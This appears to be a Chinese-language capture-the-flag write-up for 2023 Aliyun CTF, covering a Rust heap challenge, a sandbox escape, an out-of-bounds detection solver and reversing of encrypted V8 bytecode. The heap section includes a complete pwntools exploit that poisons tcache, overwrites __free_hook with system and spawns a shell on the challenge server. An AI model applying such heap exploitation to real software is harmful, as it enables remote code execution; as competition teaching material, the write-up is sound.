2023 阿里云 CTF 部分题目 Writeup By Xp0int
差一名能拿 1k,气死 X(
Pwn
1.1 Babyheap
Author: xf1les
用 rust 语言编写的堆菜单题,babyheap::delete
开头隐藏了一个后门:
如果 index 大于 0x74737572
,将 index 为 index-0x74737572
的 Vector 释放掉,相当于能够 free()
后不清空指针。
只要能找到漏洞后面就简单了,按照 Use-atfer-free 或者 double-free 的思路解题都行了。
这里是修改 tcache chunk fd
指针劫持 __free_hook
,向 __free_hook
写入 system
地址后释放含 "/bin/sh"
的堆块,执行 system("/bin/sh")
getshell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64", log_level="debug")
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
libc_symp = lambda x : p64(libc.symbols[x])
NUL = b'\x00'
########################################################################
libc = ELF("./libc-2.27.so")
p = remote("47.98.229.103", 1337)
# ~ p = process("./babyheap")
def add(sz, ctx):
p_sl(1, ">>> ")
p_sl(sz, "now the size: ")
p_s(ctx, "next the content: ")
def show(idx):
p_sl(2, ">>> ")
p_sl(idx, "house index: ")
def delete(idx):
p_sl(4, ">>> ")
p_sl(idx, "house index: ")
def edit(idx, ctx):
p_sl(3, ">>> ")
p_sl(idx, "house index: ")
p_s(ctx, ": ")
for i in range(8):
add(0x1ff, str(i)*0x1ff)
for i in range(1, 8):
delete(i)
delete(0x74737572+0)
show(0)
libc.address = u64(p.recv(8).ljust(8, b'\x00')) - 0x3ebca0
info("libcbase: 0x%lx", libc.address)
add(0x40, 'a'*0x40) #1
add(0x40, 'b'*0x40) #2
delete(1)
delete(0x74737572+2)
edit(2, libc_symp("__free_hook").ljust(0x40, NUL))
add(0x40, b'/bin/sh\x00'.ljust(0x40, NUL)) #1
add(0x40, libc_symp('system').ljust(0x40, NUL)) #2
delete(1)
p.interactive()
flag: aliyunctf{l1fe_1s_sh0rt_dO_nOt_us3_rust}
Misc
2.1 懂得都懂带带弟弟
Author:
Rieß
nc 过去,输入表达式会执行并返回,推测类似 nodejs 的沙箱逃逸,在测试 payload 的时候发现使用 import 语句会有特殊的回显,尝试直接 import /flag (可能是非预期解?)
2.2 OOBdetection
Author:
Hur1k
自创了一门新的语言,要判断是否存在溢出问题
过了 pow 之后就是写脚本的事了,主要思路就是把这个语言转换成 python 的语法,然后跟 python 语法不一致的地方单独处理,用 try 块让 python 自行判断越界与否
- 声明变量 int 改为 python 的[None]数组
-
索引的引用用 eval 来实现,要注意的是
- 负数引用也算越界,如
a[-12]
- 索引会存在 expr,用 eval 来实现
- 存在嵌套索引跟多维的索引,如
a[ 249 ][ 39 ]
,a[b[ 12 ]-c[ 23 ]]
,所以匹配括号内容的时候用栈的方法匹配(不知道怎么叫。。反正不是用正则化) - 有小数出现(小数是除法得到的,46/56 应该是相当于 46//56=0 所以不算越界,这里其实偷了个懒,全让他判断成 safe 了嘻嘻)
- 负数引用也算越界,如
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
# 完整脚本
from pwn import *
import hashlib
import itertools
#from string import digits, ascii_letters, punctuation
import binascii
def extract_nested_brackets(text):
stack = [] # 用于存放匹配到的内容的栈
result = [] # 用于存放最终匹配结果的列表
for i,char in enumerate(text):
if char == '[':
stack.append(('[',i)) # 遇到左方括号,将其压入栈中
elif char == ']':
# 遇到右方括号,从栈中依次弹出字符,直到遇到匹配的左方括号
result.append(text[stack.pop()[-1]+1:i].replace(' ',''))
return result
def getData(data):
data = data.split(';')
for code in data:
code = code.strip('\n')
dim = code.count('[')
if 'int' in code:
if dim == 0:
code = code.replace('int ','')
if '=' not in code:
code = f"{code}=None"
exec(code)
else:
code = code.replace('int ','')
var = code[:code.index('[')]
matches = re.findall(r"\[[^\]]+\]", code)
matches = matches[::-1]
code_maked = var+'='
tmp = 'None'
for num in matches:
num = num[1:-1].replace(' ','')
if num.isdigit():
if int(num)<0: # 校验负数索引
return "oob"
else: #expr
num = str(eval(num))
if int(num)<0:
return "oob"
tmp = f"[{tmp}]*{num}"
code_maked = code_maked + tmp
code = code_maked
exec(code)
else:
if "Your answer" in code:
continue
if dim == 0:
pass
else:
matches = extract_nested_brackets(code)
# var = code[:code.index('[')]
# matches = re.findall(r"\[[^\]]+\]", code)
# matches = matches[::-1]
# 变量索引检查
for num in matches:
if num.isdigit():
if int(num)<0: # 校验负数索引
return "oob"
else:
continue
else: #表达式或变量
try:
num = str(eval(num))
if '.' in num: #小数全给safe
num = math.floor(float(num))
return "safe"
if int(num)<0: # 放try块里面防止除法出来小数
return "oob"
except Exception as e:
print(f"PYTHON判断结果:{e}")
return "oob"
try:
exec(code)
except Exception as e:
print(f"PYTHON判断结果:{e}")
return "oob"
return "safe"
context(log_level='debug')
p = remote('47.98.209.191', 1337)
p.recvuntil(b'sha256(XXX + ')
tail = p.recvuntil(b')')[:-1]
print(tail)
tail = binascii.unhexlify(tail)
print(tail)
p.recvuntil(b' == ')
s = []
for i in range(256):
s += chr(i).encode('Latin-1')
# print(s)
sha256 = p.recvuntil(b'\n')[:-1].decode()
print(sha256)
# for i in s:
# print(i)
data = ''
for i in s:
for b in s:
for c in s:
data = chr(i).encode('Latin-1') + chr(b).encode('Latin-1')+chr(c).encode('Latin-1')
data_sha = hashlib.sha256((data+tail).decode('Latin-1').encode('Latin-1')).hexdigest()
if data_sha == sha256:
print(data.hex())
p.sendline(data.hex())
_ = p.recvuntil(b'Good luck!')
data = p.recvuntil(b'Your answer (safe/oob/unknown):').decode()
print(data.encode())
p.sendline(getData(data).encode())
for i in range(300):
data = p.recvuntil(b'Your answer (safe/oob/unknown):').decode()
print(data.encode())
if 'Right' in data:
data = data[data.index('\n\n'):]
p.sendline(getData(data).encode())
pass
p.interactive()
Reverse
3.1 字节码跳动
Author:
cew
、JANlittle
题目提供了 node
程序、一个通过 node 来编译 js
到 jsc
并运行的 runner.js
、一个负责调用 runner.js
和 node 的 run.sh
,一个由 node 编译 flag 验证程序 flagchecker.js
得到的字节码文件 flagchecker.jsc
、以及通过 node 的 --print-bytecode
生成的文本字节码文件 flagchecker_bytecode.txt
等。
既然都给反汇编了,那直接当阅读理解题得了,毕竟逆 jsc 一般来说不是什么好主意。但 flagchecker_bytecode.txt 非常大,因为里面把库函数也包含进去了,所以关键要找验证 flag 的函数。直接搜 flag 是找不到的,所以可以考虑换别的方式。从 runner.js 可以知道程序通过命令行参数传递 flag,所以可以搜 argv
,又有 Right!
、Wrong!
等字符串,还可以直接搜 main 函数等,虽然不能直接命中,但主逻辑就在附近,上下翻翻就可以找到可疑的三个函数:main
、aaa
、ccc
。
虽然 bytecode 很难看,但我们可以根据 Constant pool 来进行逻辑的猜测,每个常量前面的编号会方便我们找到调用它的指令,辅助分析。
main
看不懂,但从常量来判断应该只是个调用函数工具人,然后根据 flag 的对错来输出 Right!
和 Wrong!
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[generated bytecode for function: main (0x3711a3bdfd81 <SharedFunctionInfo main>)]
Bytecode length: 69
Parameter count 1
Register count 4
Frame size 32
OSR nesting level: 0
Bytecode Age: 0
1207 S> 0x3711a3be0a56 @ 0 : 21 00 00 LdaGlobal [0], [0]
0x3711a3be0a59 @ 3 : c2 Star1
...
Constant pool (size = 6)
0x3711a3be09e1: [FixedArray] in OldSpace
- map: 0x2546cb1c12c1 <Map>
- length: 6
0: 0x39ea5930f9e9 <String[7]: #process>
1: 0x20e3b754b6d9 <String[4]: #argv>
2: 0x26784b2e1619 <String[7]: #console>
3: 0x0ef123a28e69 <String[3]: #log>
4: 0x3711a3be0961 <String[6]: #Right!>
5: 0x3711a3be0979 <String[6]: #Wrong!>
Handler Table (size = 0)
Source Position Table (size = 31)
0x3711a3be0aa1 <ByteArray[31]>
继续看 aaa
,大部分还是看不懂,但中间有一段代码结合常量来看应该是把 hex 字符串解码放到数组里。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[generated bytecode for function: aaa (0x3711a3bdfd31 <SharedFunctionInfo aaa>)]
Bytecode length: 91
Parameter count 2
Register count 7
Frame size 56
OSR nesting level: 0
Bytecode Age: 0
...
942 S> 0x3711a3be0d11 @ 51 : 21 00 00 LdaGlobal [0], [0]
0x3711a3be0d14 @ 54 : bf Star4
949 E> 0x3711a3be0d15 @ 55 : 2d f6 01 02 LdaNamedProperty r4, [1], [2]
0x3711a3be0d19 @ 59 : c0 Star3
0x3711a3be0d1a @ 60 : 13 04 LdaConstant [4]
0x3711a3be0d1c @ 62 : be Star5
0x3711a3be0d1d @ 63 : 13 05 LdaConstant [5]
0x3711a3be0d1f @ 65 : bd Star6
949 E> 0x3711a3be0d20 @ 66 : 5e f7 f6 f5 f4 0d CallProperty2 r3, r4, r5, r6, [13]
...
Constant pool (size = 6)
0x3711a3be0c69: [FixedArray] in OldSpace
- map: 0x2546cb1c12c1 <Map>
- length: 6
0: 0x3adf78836561 <String[6]: #Buffer>
1: 0x2546cb1c4999 <String[4]: #from>
2: 0x2546cb1c4d41 <String[6]: #length>
3: 0x3adf78836c31 <String[5]: #alloc>
4: 0x3711a3be0bb1 <String[86]: #3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae>
5: 0x3adf78838741 <String[3]: #hex>
Handler Table (size = 0)
Source Position Table (size = 38)
0x3711a3be0d41 <ByteArray[38]>
最后是函数 ccc
,这是关键的加密部分,结合鱼哥之前的博文,理解起来基本不费劲,就是瞎眼(
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[generated bytecode for function: ccc (0x3711a3bdfce1 <SharedFunctionInfo ccc>)]
Bytecode length: 188
Parameter count 4
Register count 4
Frame size 32
OSR nesting level: 0
Bytecode Age: 0
173 S> 0x3711a3be1216 @ 0 : 00 0d aa 00 LdaSmi.Wide [170] ;将170加载进累加器
0x3711a3be121a @ 4 : c3 Star0 ;将累加器值放在r0
188 S> 0x3711a3be121b @ 5 : 0c LdaZero ;将累加器置0
189 E> 0x3711a3be121c @ 6 : 23 00 00 StaGlobal [0], [0] ;将累加器的值赋给Global[0], 从Constant pool看这里应该是i
194 S> 0x3711a3be121f @ 9 : 21 00 02 LdaGlobal [0], [2] ;加载变量i到累加器
0x3711a3be1222 @ 12 : c1 Star2 ;存储到r2
0x3711a3be1223 @ 13 : 0d 13 LdaSmi [19] ;将19加载进累加器
194 E> 0x3711a3be1225 @ 15 : 6c f8 04 TestLessThan r2, [4] ;r2是否小于累加器的值
0x3711a3be1228 @ 18 : 98 2a JumpIfFalse [42] (0x3711a3be1252 @ 60)
274 S> 0x3711a3be122a @ 20 : 21 00 02 LdaGlobal [0], [2] ;加载变量i到累加器
273 E> 0x3711a3be122d @ 23 : 2f 03 06 LdaKeyedProperty a0, [6] ;累加器 = a0[i]
265 E> 0x3711a3be1230 @ 26 : 38 fa 08 Add r0, [8] ;累加器 += r0
277 E> 0x3711a3be1233 @ 29 : 44 33 09 AddSmi [51], [9] ;累加器 += 51
285 E> 0x3711a3be1236 @ 32 : 00 4c ff 00 05 00 BitwiseAndSmi.Wide [255], [5];累加器 &= 255
0x3711a3be123c @ 38 : c3 Star0 ;r0 = 累加器
305 S> 0x3711a3be123d @ 39 : 21 00 02 LdaGlobal [0], [2] ;加载变量i到累加器
0x3711a3be1240 @ 42 : c0 Star3 ;r3 = 累加器
0x3711a3be1241 @ 43 : 0b fa Ldar r0 ;累加器 = r0
308 E> 0x3711a3be1243 @ 45 : 34 04 f7 0a StaKeyedProperty a1, r3, [10];a1[r3] = 累加器
200 S> 0x3711a3be1247 @ 49 : 21 00 02 LdaGlobal [0], [2] ;累加器 = i
0x3711a3be124a @ 52 : 50 0c Inc [12] ;累加器++
200 E> 0x3711a3be124c @ 54 : 23 00 00 StaGlobal [0], [0] ;i = 累加器
183 E> 0x3711a3be124f @ 57 : 88 30 00 JumpLoop [48], [0] (0x3711a3be121f @ 9)
...
Constant pool (size = 1)
0x3711a3be11c9: [FixedArray] in OldSpace
- map: 0x2546cb1c12c1 <Map>
- length: 1
0: 0x2546cb1c9159 <String[1]: #i>
Handler Table (size = 0)
Source Position Table (size = 119)
0x3711a3be12d9 <ByteArray[119]>
根据加密逻辑,加上盲猜(a0 是输入,a1 是输出,前面的 hex 字符串是密文)可以轻松写出解密脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
enc = bytes.fromhex('3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae')
enc = list(enc)
flag = [0] * len(enc)
key = 170
for i in range(19):
flag[i] = (enc[i] - key - 51) & 0xff
key = enc[i]
key = 85
for i in range(19, 43):
flag[i] = (enc[i] - key) & 0xff
key = enc[i] ^ key
print(bytes(flag))
3.2 字节码芭蕾
Author:
JANlittle
、cew
这是上一题的 plus 版,出题人直接不给汇编文本了,意图很明显,就是想让我们逆 jsc。现在就有两个路子,一个是反汇编 jsc,输出上一题那种汇编,一个是利用 ghidra_nodejs
这个项目来反编译。秉持着反汇编狗都不看的原则,我选择尽可能用 ghidra_nodejs 来反编译。但这个项目非常古老,已经远远跟不上现在 nodejs 字节码变化的脚步,所以我们必须先确定题目提供的 node 是什么版本。
结果显示,我们运气非常好,题目提供的 node 和 v8 版本与 ghidra_nodejs 的适配版本一致,很难不怀疑是出题人故意的:
既然这样,那我们就不客气地使用 ghidra 了。但问题当然不会这么简单:你装上插件,拖进 ghidra,结果 ghidra 压根解析不了,甚至还可能报错!拿十六进制编辑器对比下 flagchecker.jsc 和正常的 jsc,就可以发现正常的 jsc 是会有很多 0 字节的,但 flagchecker.jsc 的 0 字节相当少,至少可以判断,这个 jsc 应该是被加密了。
既然被加密了,那我们第一个想法就是找到 node 生成 jsc 的地方,然后跟正常的 node 进行对比(node 官方对旧版本有存档,可以直接去下:https://nodejs.org/download/release/v8.16.0/)。感谢鱼哥,哦不对鱼总,他的另一篇文章也提到了这个问题,那我们直接拿过来用。鱼总的文章指出“JSC files are generated by the v8::internal::CodeSerializer::Serialize
”,那我们就从这里入手。很容易地,我们可以发现 v8::internal::CodeSerializer::Serialize
是通过调用了 v8::internal::SerializedCodeData::SerializedCodeData
来生成 JSC 的主要部分,这个函数无论是瞪眼法还是 bindiff 进行比较,都可以发现与正常的 node 有明显修改迹象。通过分析,可以知道出题人主要修改了两个部分:
- 修改了文件头的 magic、payloadLength 和两个 checksum。可以参考这篇文章的 Header of the JSC file 部分。
- 对偏移 0x40 之后的主体部分进行了 RC4 加密,密钥是
CodeSerializer
这样我们就可以对 jsc 进行解密了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import ARC4
rc4 = ARC4.new(b'CodeSerializer')
fn = open('new.jsc', 'wb')
with open('flagchecker.jsc', 'rb') as f:
content = f.read()
fn.write((int.from_bytes(content[:4], 'little')^0xDEAD0000^0xC0DE0000).to_bytes(4, 'little'))
fn.write(content[4:28])
fn.write((int.from_bytes(content[28:32], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
fn.write((int.from_bytes(content[32:36], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
fn.write((int.from_bytes(content[36:40], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
fn.write(content[40:0x40])
content = content[0x40:]
m = rc4.decrypt(content)
fn.write(m)
fn.close()
print('OK')
不过这还没完,把解密之后的 jsc 拖进 ghidra 只能解析出一小部分内容,绝大部分还是无法正常解析。但用十六进制编辑器打开,看起来似乎跟正常的 jsc 好像没什么不同?
对于这种魔改解释器引擎的逆向题,一般魔改的点就两个:对字节码文件进行加密,以及将 opcode 的顺序打乱。
这样我们可以考虑 opcode 的顺序被打乱的这种情况。那么我们从哪开始找起?结合上面鱼总的文章所说:“Disassembly requires calling the v8::internal::BytecodeArray::Disassemble
”,我们可以通过寻找 Disassemble
相关的函数,v8 要进行反汇编,必定需要字节码和指令的对应关系,我们可以从这里出发。不过我比较简单粗暴地找指令字符串的交叉引用,直接定位到 v8::internal::interpreter::Bytecodes::ToString
这个函数。
通过与正常 node 的对比,可以发现确确实实把 opcode 的位置换了,好在只换了几个指令。接下来就是修改 ghidra_nodejs,让它适配新的 opcode。但在它的源码中似乎没有找到 opcode 和指令之间的对应?如果对 ghidra 插件有了解的话,可以想到这种对应关系除了存在代码中还可以放在 data 文件夹下,这里存储着将会被插件使用的数据。在 data/language
这个文件夹下,可以发现有 3 个跟 opcode 相关的文件:v8.slaspec
、extrawide_instructions.sinc
、wide_instructions.sinc
。把他们三个全改了并重新编译,插件就可以正常使用了!
事实证明,反编译的可读性比反汇编强得多,func_0000
是入口点,从这里出发顺着函数调用链就可以理清逻辑。程序会验证 flag 头和 flag 尾,然后对 flag 中间部分进行 AES-128 CBC 加密,并与密文比较。其中 AES 换了 S 盒,其它没变,S 盒(Array4)、密文(Array3)、key 和 iv 都是硬编码的,虽然有的会跟常数异或但有反编译可以轻松看穿。最后解密一下就得到 flag 了。
PS:可能上一题有人想用 ghidra_nodejs 来反编译好逃课,然而不凑巧题目提供的 node 版本是 v16.18.0,这版本号甩 ghidra_nodejs 的适配版本一大截,你修改 ghidra_nodejs 可能远比你做阅读理解费劲😅。